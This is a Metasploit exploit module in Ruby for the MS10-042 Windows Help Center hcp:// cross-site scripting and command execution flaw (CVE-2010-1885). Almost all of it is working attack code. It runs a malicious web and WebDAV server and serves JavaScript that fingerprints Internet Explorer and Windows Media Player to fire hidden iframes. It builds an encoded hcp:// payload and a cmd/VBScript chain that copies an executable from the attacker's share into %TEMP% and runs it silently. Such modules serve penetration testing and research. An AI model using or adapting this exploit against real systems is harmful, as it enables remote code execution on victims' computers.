##
# $Id: ms10_042_helpctr_xss_cmd_exec.rb 10388 2010-09-20 04:37:25Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Help Center XSS and Command Execution',
'Description' => %q{
Help and Support Center is the default application provided to access online
documentation for Microsoft Windows. Microsoft supports accessing help documents
directly via URLs by installing a protocol handler for the scheme "hcp". Due to
an error in validation of input to hcp:// combined with a local cross site
scripting vulnerability and a specialized mechanism to launch the XSS trigger,
arbitrary command execution can be achieved.
On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it
can be used to launch the exploit automatically. If IE8 and WMP11, either can
be used to launch the attack, but both pop dialog boxes asking the user if
execution should continue. This exploit detects if non-intrusive mechanisms are
available and will use one if possible. In the case of both IE8 and WMP11, the
exploit defaults to using an iframe on IE8, but is configurable by setting the
DIALOGMECH option to "none" or "player".
},
'Author' =>
[
'Tavis Ormandy', # Original discovery
'natron' # Metasploit version
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10388 $',
'References' =>
[
[ 'CVE', '2010-1885' ],
[ 'OSVDB', '65264' ],
[ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],
[ 'MSB', 'MS10-042']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Jun 09 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
], self.class)
deregister_options('SSL', 'SSLVersion') # Just for now
end
def on_request_uri(cli, request)
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
end
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
def process_get(cli, request)
@my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
@url_base = "http://" + @my_host
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))
print_status "Sending payload executable to target ..."
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if request.uri.match(/\.gif$/)
# "world's smallest gif"
data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
print_status "Sending gif image to WMP at #{cli.peerhost}:#{cli.peerport} ..."
send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )
end
# ASX Request Inbound
if request.uri.match(/\.asx$/)
asx = %Q|<ASX VERSION="3.0">
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>
<ENTRY>
<REF href="URLBASE/IMGFILE"/>
</ENTRY>
</ASX>
|
asx.gsub!(/URLBASE/, @url_base)
asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)
asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)
print_status("Sending asx file to #{cli.peerhost}:#{cli.peerport} ...")
send_response(cli, asx, { 'Content-Type' => 'text/html' })
return
end
# iframe request inbound from either WMP or IE7
if request.uri.match(/#{@start_help}/)
help_html = %Q|<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">|
rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs"
copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
concat_cmds = "#{write_vbs}|#{launch_vbs}"
eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))
help_html.gsub!(/COMMANDS/, eval_block)
print_status("Sending exploit trigger to #{cli.peerhost}:#{cli.peerport} ...")
send_response(cli, help_html, { 'Content-Type' => 'text/html' })
return
end
# default initial response
js = %Q|
var asx = "URLBASE/ASXFILE";
var ifr = "URLBASE/IFRFILE";
function launchiframe(src) {
var o = document.createElement("IFRAME");
o.setAttribute("width","0");
o.setAttribute("height","0");
o.setAttribute("frameborder","0");
o.setAttribute("src",src);
document.body.appendChild(o);
}
if (window.navigator.appName == "Microsoft Internet Explorer") {
var ua = window.navigator.userAgent;
var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
re.exec(ua)
ver = parseFloat( RegExp.$1 );
// if ie8, check WMP version
if (ver > 7) {
var o = document.createElement("OBJECT");
o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
o.setAttribute("uiMode", "invisible");
// if wmp9, go ahead and launch
if( parseInt(o.versionInfo) < 10 ) {
o.openPlayer(asx);
// if > wmp9, only launch if user requests
} else {
DIALOGMECH
}
// if ie7, use iframe
} else {
launchiframe(ifr);
}
} else {
// if other, try iframe
launchiframe(ifr);
}
|
html = %Q|<html>
<head></head><body><script>JAVASCRIPTFU
</script>
</body>
</html>
|
case datastore['DIALOGMECH']
when "player"
mech = "o.openPlayer(asx);"
when "iframe"
mech = "launchiframe(ifr);"
when "none"
mech = ""
else
mech = ""
end
html.gsub!(/JAVASCRIPTFU/, js)
html.gsub!(/DIALOGMECH/, mech)
html.gsub!(/URLBASE/, @url_base)
html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)
html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)
print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport} ...")
headers = {
'Content-Type' => 'text/html',
#'X-UA-Compatible' => 'IE=7'
}
send_response(cli, html, headers)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
def convert_to_char_code(str)
return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))
# Response for the EXE
print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def exploit
@random_dir = rand_text_alpha(rand(2)+1)
@asx_file = rand_text_alpha(rand(2)+1) + ".asx"
@start_help = rand_text_alpha(rand(2)+1) + ".html"
@payload = rand_text_alpha(rand(2)+1) + ".exe"
@img_file = rand_text_alpha(rand(2)+1) + ".gif"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
end
